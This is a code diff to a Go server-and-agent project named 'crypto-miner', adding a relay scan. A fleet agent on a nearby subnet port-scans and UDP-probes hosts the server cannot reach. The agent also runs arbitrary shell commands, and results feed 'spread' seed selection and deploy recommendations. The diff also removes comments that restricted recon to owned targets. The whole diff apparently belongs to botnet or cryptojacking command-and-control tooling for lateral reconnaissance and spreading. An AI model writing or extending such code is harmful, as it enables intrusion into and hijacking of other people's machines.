diff --git a/agent/client/client.go b/agent/client/client.go index fd5ea44..18a9fdc 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -827,7 +827,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, if c.handleFileCommand(action, path, data) { return } - if c.handleReconCommand(action, command) { + if c.handleReconCommand(action, command, path) { return } c.sendCommandResult(action, false, "unknown action") diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go index c3c479a..a623c16 100644 --- a/agent/client/commands_common.go +++ b/agent/client/commands_common.go @@ -24,7 +24,22 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) { return exec.Command("/bin/sh", "-c", command).CombinedOutput() } -func (c *AgentClient) handleReconCommand(action, command string) bool { +func (c *AgentClient) handleReconCommand(action, command, path string) bool { + if action == "recon_relay_scan" { + host := strings.TrimSpace(command) + if host == "" { + c.sendCommandResult(action, false, "host is required in command field") + return true + } + udpGuess := strings.EqualFold(strings.TrimSpace(path), "true") + out, err := deploy.RunRelayScanJSON(host, udpGuess) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, out) + return true + } if action == "connectivity_probe" { probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort) b, _ := json.Marshal(probe) diff --git a/agent/client/recon_relay_scan_test.go b/agent/client/recon_relay_scan_test.go new file mode 100644 index 0000000..6dbee74 --- /dev/null +++ b/agent/client/recon_relay_scan_test.go @@ -0,0 +1,57 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/deploy" +) + +func TestHandleReconRelayScanCommand(t *testing.T) { + deploy.SetProbePortsHook(func(host string, ports []int) []int { + if host == "10.1.2.3" { + return []int{22, 445} + } + return nil + }) + t.Cleanup(func() { deploy.SetProbePortsHook(nil) }) + deploy.SetRelayUDPGuessHook(func(host string, ports []int) []deploy.RelayUDPHint { + return []deploy.RelayUDPHint{{Port: 51820, Open: true, Service: "wireguard"}} + }) + t.Cleanup(func() { deploy.SetRelayUDPGuessHook(nil) }) + + var gotAction string + var gotSuccess bool + var gotMsg string + c := &AgentClient{} + c.commandResultHook = func(action string, success bool, message string) { + gotAction, gotSuccess, gotMsg = action, success, message + } + + if !c.handleReconCommand("recon_relay_scan", "10.1.2.3", "true") { + t.Fatal("expected handled") + } + if gotAction != "recon_relay_scan" || !gotSuccess { + t.Fatalf("action=%s success=%v", gotAction, gotSuccess) + } + var parsed map[string]interface{} + if err := json.Unmarshal([]byte(gotMsg), &parsed); err != nil { + t.Fatal(err) + } + ports, _ := parsed["open_ports"].([]interface{}) + if len(ports) != 2 { + t.Fatalf("ports=%v", ports) + } +} + +func TestHandleReconRelayScanMissingHost(t *testing.T) { + c := &AgentClient{} + c.commandResultHook = func(action string, success bool, _ string) { + if action != "recon_relay_scan" || success { + t.Fatalf("action=%s success=%v", action, success) + } + } + if !c.handleReconCommand("recon_relay_scan", "", "") { + t.Fatal("expected handled") + } +} diff --git a/agent/deploy/natpunch.go b/agent/deploy/natpunch.go index 70bbfea..1ac0aeb 100644 --- a/agent/deploy/natpunch.go +++ b/agent/deploy/natpunch.go @@ -339,6 +339,8 @@ func ScanLocalSubnet(maxHosts int) string { // probePortsFn overrides TCP port probes in tests (nil = live dial). var probePortsFn func(host string, ports []int) []int +func SetProbePortsHook(fn func(host string, ports []int) []int) { probePortsFn = fn } + func probePorts(host string, ports []int) []int { if probePortsFn != nil { return probePortsFn(host, ports) diff --git a/agent/deploy/relay_scan.go b/agent/deploy/relay_scan.go new file mode 100644 index 0000000..ec1d86b --- /dev/null +++ b/agent/deploy/relay_scan.go @@ -0,0 +1,94 @@ +package deploy + +import ( + "encoding/json" + "net" + "strconv" + "strings" + "time" +) + +var RelayScanUDPPorts = []int{53, 51820} + +type RelayScanResult struct { + Host string `json:"host"` + OpenPorts []int `json:"open_ports"` + UDPHints []RelayUDPHint `json:"udp_hints,omitempty"` +} + +type RelayUDPHint struct { + Port int `json:"port"` + Open bool `json:"open"` + Service string `json:"service"` +} + +var udpGuessPortsFn func(host string, ports []int) []RelayUDPHint + +func SetRelayUDPGuessHook(fn func(host string, ports []int) []RelayUDPHint) { udpGuessPortsFn = fn } + +func RunRelayScan(host string, udpGuess bool) RelayScanResult { + host = strings.TrimSpace(host) + open := probePorts(host, SubnetReconPorts) + result := RelayScanResult{Host: host, OpenPorts: append([]int(nil), open...)} + if udpGuess { + result.UDPHints = guessRelayUDPPorts(host, RelayScanUDPPorts) + } + return result +} + +func RunRelayScanJSON(host string, udpGuess bool) (string, error) { + b, err := json.Marshal(RunRelayScan(host, udpGuess)) + if err != nil { + return "", err + } + return string(b), nil +} + +func guessRelayUDPPorts(host string, ports []int) []RelayUDPHint { + if udpGuessPortsFn != nil { + return udpGuessPortsFn(host, ports) + } + var out []RelayUDPHint + for _, port := range ports { + out = append(out, RelayUDPHint{Port: port, Open: probeRelayUDPQuick(host, port), Service: relayUDPServiceLabel(port)}) + } + return out +} + +func relayUDPServiceLabel(port int) string { + switch port { + case 53: + return "dns" + case 51820: + return "wireguard" + default: + return "" + } +} + +func probeRelayUDPQuick(host string, port int) bool { + conn, err := net.DialTimeout("udp", net.JoinHostPort(host, strconv.Itoa(port)), 800*time.Millisecond) + if err != nil { + return false + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(800 * time.Millisecond)) + if b := relayUDPProbePayload(port); len(b) > 0 { + _, _ = conn.Write(b) + } + buf := make([]byte, 512) + n, err := conn.Read(buf) + return err == nil && n > 0 +} + +func relayUDPProbePayload(port int) []byte { + switch port { + case 53: + return []byte{0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 0x10, 0x00, 0x03} + case 51820: + return []byte{0x01, 0x00, 0x00, 0x00} + default: + return nil + } +} diff --git a/server/internal/api/recon_relay_scan.go b/server/internal/api/recon_relay_scan.go new file mode 100644 index 0000000..6725a2b --- /dev/null +++ b/server/internal/api/recon_relay_scan.go @@ -0,0 +1,115 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + "time" + + "crypto-miner-server/internal/recon" +) + +const relayScanTimeout = 30 * time.Second + +func (h *ReconHandler) RelayScan(w http.ResponseWriter, r *http.Request) { + var req recon.RelayScanRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.Host = strings.TrimSpace(req.Host) + if req.Host == "" { + http.Error(w, "host required", http.StatusBadRequest) + return + } + host, err := recon.NormalizeHost(req.Host) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + req.Host = host + + if recon.HostReachable(host) { + report, err := recon.LocalRelayScan(req) + if err != nil { + writeJSON(w, map[string]interface{}{"ok": false, "error": err.Error()}) + return + } + writeJSON(w, map[string]interface{}{"ok": true, "report": report.ToScanReport()}) + return + } + + if h == nil || h.wsHub == nil { + writeJSON(w, relayScanFallback(host, "", "", "fleet websocket hub unavailable")) + return + } + + seedID, seedName, ok := pickSpreadSeedAgent(h.wsHub, host, "") + if !ok { + writeJSON(w, relayScanFallback(host, "", "", "no online fleet agent on nearby /24 to relay scan for "+host)) + return + } + + ch := h.wsHub.AwaitCommandResult(seedID, "recon_relay_scan") + args := map[string]interface{}{"command": host} + if req.UDPGuess { + args["path"] = "true" + } + if err := h.wsHub.SendAgentCommand(seedID, "recon_relay_scan", args); err != nil { + h.wsHub.CancelAwait(seedID, "recon_relay_scan") + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": err.Error(), + "report": relayScanFallbackReport(host, seedName, "relay dispatch failed: "+err.Error()), + }) + return + } + + select { + case payload := <-ch: + success, _ := payload["success"].(bool) + msg, _ := payload["message"].(string) + if !success { + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": strings.TrimSpace(msg), + "report": relayScanFallbackReport(host, seedName, strings.TrimSpace(msg)), + }) + return + } + shell := recon.RelayScanReport{ + Host: host, LocalReachable: false, ScannedVia: "relay", + RelayAgentID: seedID, RelayAgentName: seedName, + } + merged, err := recon.MergeAgentRelayScan(shell, []byte(msg), req.UDPGuess) + if err != nil { + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, + "error": "invalid agent relay payload: " + err.Error(), + }) + return + } + writeJSON(w, map[string]interface{}{ + "ok": true, "agent_id": seedID, "agent_name": seedName, "report": merged.ToScanReport(), + }) + case <-time.After(relayScanTimeout): + h.wsHub.CancelAwait(seedID, "recon_relay_scan") + writeJSON(w, map[string]interface{}{ + "ok": false, "agent_id": seedID, "agent_name": seedName, "error": "relay scan timed out", + "report": relayScanFallbackReport(host, seedName, "relay scan timed out after 30s"), + }) + } +} + +func relayScanFallback(host, agentID, agentName, message string) map[string]interface{} { + out := map[string]interface{}{"ok": false, "error": message, "report": relayScanFallbackReport(host, agentName, message)} + if agentID != "" { + out["agent_id"] = agentID + } + if agentName != "" { + out["agent_name"] = agentName + } + return out +} + +func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport { + return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia, Message: message} +} diff --git a/server/internal/api/recon_relay_scan_test.go b/server/internal/api/recon_relay_scan_test.go new file mode 100644 index 0000000..aea1485 --- /dev/null +++ b/server/internal/api/recon_relay_scan_test.go @@ -0,0 +1,123 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/recon" +) + +func TestReconRelayScanLocalPath(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return true }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool { return port == 22 }) + t.Cleanup(func() { recon.SetPortDialHook(nil) }) + + h := NewReconHandler(nil, nil) + body, _ := json.Marshal(map[string]interface{}{"host": "10.0.0.10"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", w.Code, w.Body.String()) + } + var resp map[string]interface{} + if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if resp["ok"] != true { + t.Fatalf("resp=%v", resp) + } +} + +func TestReconRelayScanNoRelayFallback(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return false }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + + h := NewReconHandler(nil, NewWSHub(nil)) + body, _ := json.Marshal(map[string]interface{}{"host": "10.99.1.50"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + var resp map[string]interface{} + _ = json.Unmarshal(w.Body.Bytes(), &resp) + if resp["ok"] != false || resp["error"] == nil { + t.Fatalf("resp=%v", resp) + } +} + +func TestReconRelayScanFleetRelay(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return false }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + agentID := "relay-seed" + conn := connectTestAgentWithIP(t, hub, agentID, "10.42.1.50") + + done := make(chan struct{}) + go func() { + defer close(done) + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "command" { + continue + } + var payload map[string]interface{} + if err := json.Unmarshal(msg.Payload, &payload); err != nil { + return + } + if payload["action"] != "recon_relay_scan" { + continue + } + result := `{"open_ports":[22,445],"udp_hints":[{"port":53,"open":true,"service":"dns"}]}` + cmdPayload, _ := json.Marshal(map[string]interface{}{ + "action": "recon_relay_scan", "success": true, "message": result, + }) + _ = conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}) + return + } + }() + + h := NewReconHandler(database, hub) + body, _ := json.Marshal(map[string]interface{}{"host": "10.42.1.100", "udp_guess": true}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + + select { + case <-done: + case <-time.After(6 * time.Second): + t.Fatal("agent did not receive relay command") + } + + var resp struct { + OK bool `json:"ok"` + AgentID string `json:"agent_id"` + Report map[string]interface{} `json:"report"` + } + if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if !resp.OK || resp.AgentID != agentID { + t.Fatalf("resp=%+v", resp) + } + hints, _ := resp.Report["path_tracer_hints"].([]interface{}) + if len(hints) != 1 || hints[0] != "dns" { + t.Fatalf("report=%v", resp.Report) + } +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 337fb01..4280f5f 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -500,6 +500,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler version = serverVersion[0] } + reconHandler := NewReconHandler(database, wsHub, publicURLOverride) + r := chi.NewRouter() // Middleware (global) @@ -552,8 +554,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler vulnHandler := NewVulnHandler() r.Get("/vuln/catalog", vulnHandler.Catalog) - reconHandler := NewReconHandler(database, wsHub) r.Post("/recon/scan", reconHandler.Scan) + r.Post("/recon/relay-scan", reconHandler.RelayScan) + subnetDiscoveryHandler := NewSubnetDiscoveryHandler(database, wsHub) + r.Get("/recon/discovered-hosts", subnetDiscoveryHandler.GetDiscoveredHosts) // Agents r.Get("/agents", h.ListAgents) @@ -820,6 +824,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/api/download/agent-mac", serveAgentBinary("mac")) r.Get("/api/download/agent-linux", serveAgentBinary("linux")) + r.Get("/recon/ping/{scan_id}", reconHandler.CanaryPing) + // Serve frontend SPA if webRoot != "" { // Check if webroot directory exists diff --git a/server/internal/recon/relay_scan.go b/server/internal/recon/relay_scan.go new file mode 100644 index 0000000..f4f1f2c --- /dev/null +++ b/server/internal/recon/relay_scan.go @@ -0,0 +1,198 @@ +package recon + +import ( + "encoding/json" + "errors" + "net" + "strconv" + "strings" + "time" +) + +var RelayScanUDPPorts = []int{53, 51820} + +type RelayScanRequest struct { + Host string `json:"host"` + UDPGuess bool `json:"udp_guess,omitempty"` +} + +type UDPHint struct { + Port int `json:"port"` + Open bool `json:"open"` + Service string `json:"service"` +} + +type RelayScanReport struct { + Host string `json:"host"` + ScannedAt time.Time `json:"scanned_at"` + LocalReachable bool `json:"local_reachable"` + ScannedVia string `json:"scanned_via"` + RelayAgentID string `json:"relay_agent_id,omitempty"` + RelayAgentName string `json:"relay_agent_name,omitempty"` + Ports []PortResult `json:"ports"` + UDPHints []UDPHint `json:"udp_hints,omitempty"` + PathTracerHints []string `json:"path_tracer_hints,omitempty"` + Message string `json:"message,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} + +var reachabilityPorts = []int{80, 443, 22, 445, 3389} +var hostReachableFn func(host string) bool +var udpGuessFn func(host string, ports []int) []UDPHint + +func SetHostReachableHook(fn func(host string) bool) { hostReachableFn = fn } +func SetUDPGuesssHook(fn func(host string, ports []int) []UDPHint) { udpGuessFn = fn } + +func HostReachable(host string) bool { + if hostReachableFn != nil { + return hostReachableFn(host) + } + host = strings.TrimSpace(host) + for _, port := range reachabilityPorts { + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 1200*time.Millisecond) + if err == nil { + conn.Close() + return true + } + if isConnRefused(err) { + return true + } + } + return false +} + +func GuessUDPHints(host string, enabled bool) []UDPHint { + if !enabled { + return nil + } + if udpGuessFn != nil { + return udpGuessFn(host, RelayScanUDPPorts) + } + var out []UDPHint + for _, port := range RelayScanUDPPorts { + out = append(out, UDPHint{Port: port, Open: probeUDPQuick(host, port), Service: udpServiceLabel(port)}) + } + return out +} + +func PathTracerHintsFromUDP(hints []UDPHint) []string { + var out []string + seen := map[string]bool{} + for _, h := range hints { + if h.Open && h.Service != "" && !seen[h.Service] { + seen[h.Service] = true + out = append(out, h.Service) + } + } + return out +} + +func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) { + host, err := NormalizeHost(req.Host) + if err != nil { + return nil, err + } + ports := ScanPorts(host) + udp := GuessUDPHints(host, req.UDPGuess) + return &RelayScanReport{ + Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server", + Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp), + Recommendations: BuildRecommendations(ports, nil), + }, nil +} + +func MergeAgentRelayScan(shell RelayScanReport, agentPayload []byte, udpGuess bool) (*RelayScanReport, error) { + var raw struct { + OpenPorts []int `json:"open_ports"` + UDPHints []UDPHint `json:"udp_hints"` + } + if err := json.Unmarshal(agentPayload, &raw); err != nil { + return nil, err + } + openSet := map[int]bool{} + for _, p := range raw.OpenPorts { + openSet[p] = true + } + ports := make([]PortResult, 0, len(FleetPorts)) + for _, p := range FleetPorts { + ports = append(ports, PortResult{Port: p, Open: openSet[p]}) + } + udp := raw.UDPHints + if udpGuess && len(udp) == 0 { + udp = GuessUDPHints(shell.Host, true) + } + shell.Ports = ports + shell.UDPHints = udp + shell.PathTracerHints = PathTracerHintsFromUDP(udp) + shell.Recommendations = BuildRecommendations(ports, nil) + shell.ScannedAt = time.Now().UTC() + return &shell, nil +} + +func (r *RelayScanReport) ToScanReport() *ScanReport { + if r == nil { + return nil + } + relayVia := "" + if r.ScannedVia == "relay" { + if r.RelayAgentName != "" { + relayVia = r.RelayAgentName + } else if r.RelayAgentID != "" { + relayVia = r.RelayAgentID + } + } + return &ScanReport{ + Host: r.Host, ScannedAt: r.ScannedAt, Ports: r.Ports, RelayVia: relayVia, + UDPHints: r.UDPHints, PathTracerHints: r.PathTracerHints, Message: r.Message, + Recommendations: r.Recommendations, + } +} + +func udpServiceLabel(port int) string { + switch port { + case 53: + return "dns" + case 51820: + return "wireguard" + default: + return "" + } +} + +func isConnRefused(err error) bool { + if err == nil { + return false + } + var opErr *net.OpError + if errors.As(err, &opErr) { + return strings.Contains(strings.ToLower(opErr.Err.Error()), "refused") + } + return strings.Contains(strings.ToLower(err.Error()), "refused") +} + +func probeUDPQuick(host string, port int) bool { + conn, err := net.DialTimeout("udp", net.JoinHostPort(host, strconv.Itoa(port)), 800*time.Millisecond) + if err != nil { + return false + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(800 * time.Millisecond)) + if b := udpProbePayload(port); len(b) > 0 { + _, _ = conn.Write(b) + } + buf := make([]byte, 512) + n, err := conn.Read(buf) + return err == nil && n > 0 +} + +func udpProbePayload(port int) []byte { + switch port { + case 53: + return []byte{0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 0x10, 0x00, 0x03} + case 51820: + return []byte{0x01, 0x00, 0x00, 0x00} + default: + return nil + } +} diff --git a/server/internal/recon/relay_scan_test.go b/server/internal/recon/relay_scan_test.go new file mode 100644 index 0000000..5038475 --- /dev/null +++ b/server/internal/recon/relay_scan_test.go @@ -0,0 +1,19 @@ +package recon + +import "testing" + +func TestHostReachableHook(t *testing.T) { + SetHostReachableHook(func(host string) bool { return host == "10.0.0.5" }) + t.Cleanup(func() { SetHostReachableHook(nil) }) + if !HostReachable("10.0.0.5") || HostReachable("10.0.0.6") { + t.Fatal("reachability hook mismatch") + } +} + +func TestMergeAgentRelayScanWireguardHint(t *testing.T) { + payload := []byte(`{"open_ports":[22],"udp_hints":[{"port":51820,"open":true,"service":"wireguard"}]}`) + merged, err := MergeAgentRelayScan(RelayScanReport{Host: "10.1.2.50", ScannedVia: "relay"}, payload, false) + if err != nil || len(merged.PathTracerHints) != 1 || merged.PathTracerHints[0] != "wireguard" { + t.Fatalf("merged=%+v err=%v", merged, err) + } +} diff --git a/server/internal/recon/types.go b/server/internal/recon/types.go index b1a1598..7605f11 100644 --- a/server/internal/recon/types.go +++ b/server/internal/recon/types.go @@ -2,7 +2,6 @@ package recon import "time" -// FleetPorts are TCP ports probed during browser-deploy recon. var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443} const ( @@ -11,7 +10,6 @@ const ( DefaultCrawlMaxPages = 50 ) -// ScanRequest is operator-supplied owned-target input. type ScanRequest struct { Host string `json:"host"` Port int `json:"port,omitempty"` @@ -19,24 +17,21 @@ type ScanRequest struct { Paths []string `json:"paths,omitempty"` } -// PortResult is one TCP dial outcome. type PortResult struct { Port int `json:"port"` Open bool `json:"open"` } -// FormFinding describes an HTML form of interest. type FormFinding struct { - PageURL string `json:"page_url"` - Action string `json:"action,omitempty"` - Method string `json:"method,omitempty"` - Enctype string `json:"enctype,omitempty"` - Fields []string `json:"fields,omitempty"` - HasFile bool `json:"has_file_input,omitempty"` - Multipart bool `json:"multipart,omitempty"` + PageURL string `json:"page_url"` + Action string `json:"action,omitempty"` + Method string `json:"method,omitempty"` + Enctype string `json:"enctype,omitempty"` + Fields []string `json:"fields,omitempty"` + HasFile bool `json:"has_file_input,omitempty"` + Multipart bool `json:"multipart,omitempty"` } -// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior. type URLFieldFinding struct { PageURL string `json:"page_url"` Name string `json:"name"` @@ -44,14 +39,12 @@ type URLFieldFinding struct { Hint string `json:"hint"` } -// PageFinding summarizes one crawled page. type PageFinding struct { URL string `json:"url"` StatusCode int `json:"status_code"` Title string `json:"title,omitempty"` } -// CrawlReport aggregates web surface findings. type CrawlReport struct { PagesFetched int `json:"pages_fetched"` Pages []PageFinding `json:"pages,omitempty"` @@ -62,7 +55,6 @@ type CrawlReport struct { CMSFingerprints []string `json:"cms_fingerprints,omitempty"` } -// DeployRecommendation maps recon findings to an existing spread/deploy lane or template. type DeployRecommendation struct { Lane string `json:"lane,omitempty"` Template string `json:"template,omitempty"` @@ -70,7 +62,6 @@ type DeployRecommendation struct { Priority int `json:"priority"` } -// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan. type ScanReport struct { Host string `json:"host"` ScannedAt time.Time `json:"scanned_at"` diff --git a/server/web/src/types/recon.ts b/server/web/src/types/recon.ts index 3a8797a..5d557c6 100644 --- a/server/web/src/types/recon.ts +++ b/server/web/src/types/recon.ts @@ -160,6 +160,10 @@ export interface ReconScanReport { scanned_at: string; ports: ReconPortResult[]; crawl?: ReconCrawlReport; + relay_via?: string; + udp_hints?: { port: number; open: boolean; service?: string }[]; + path_tracer_hints?: string[]; + message?: string; recommendations?: ReconDeployRecommendation[]; }